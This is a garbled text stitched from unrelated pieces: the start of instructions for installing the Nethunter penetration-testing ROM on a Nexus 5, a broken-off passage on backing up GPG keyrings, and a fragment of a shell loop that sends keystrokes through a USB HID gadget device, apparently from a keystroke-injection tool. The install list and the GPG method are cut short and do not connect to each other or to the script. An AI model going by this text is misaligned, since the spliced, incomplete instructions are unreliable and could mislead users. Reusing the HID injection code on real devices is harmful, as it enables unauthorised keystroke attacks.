Nethunter OS on Nexus 5

Here are instructions to install Nethunter (as a ROM) with working native monitor mode in the chroot using Nexmon. The ROM is a modified CM 14.1 (nougat) base with custom kernel which supports: HID, Drivedroid, Kexec, and external wireless.

What you need

You will need the following 3 items (maybe 4):

• TWRP for Hammerhead-CAF: https://dl.twrp.me/hammerheadcaf/twrp-3.0.2-0-hammerheadcaf.img.html
• Nethunter OS (based on CM 14.1): https://build.nethunter.com/nethunteros/CM14_1/hammerheadcaf/nh-14.1-nethunter-hammerheadcaf-v1.zip

Every so often I have to restore my gpg keys and I'm never sure how best to do it. So, I've spent some time playing around with the various ways to export/import (backup/restore) keys.

Method 1

Backup the public and secret keyrings and trust database

cp ~/.gnupg/pubring.gpg /path/to/backups/
cp ~/.gnupg/secring.gpg /path/to/backups/
cp ~/.gnupg/trustdb.gpg /path/to/backups/

or, instead of backing up trustdb...

		if [ "$char" == $'\n' ] || [ "$char" == $'\r' ]; then
			# For each new line = return key
			echo enter | $HIDKEY /dev/hidg0 keyboard
		else
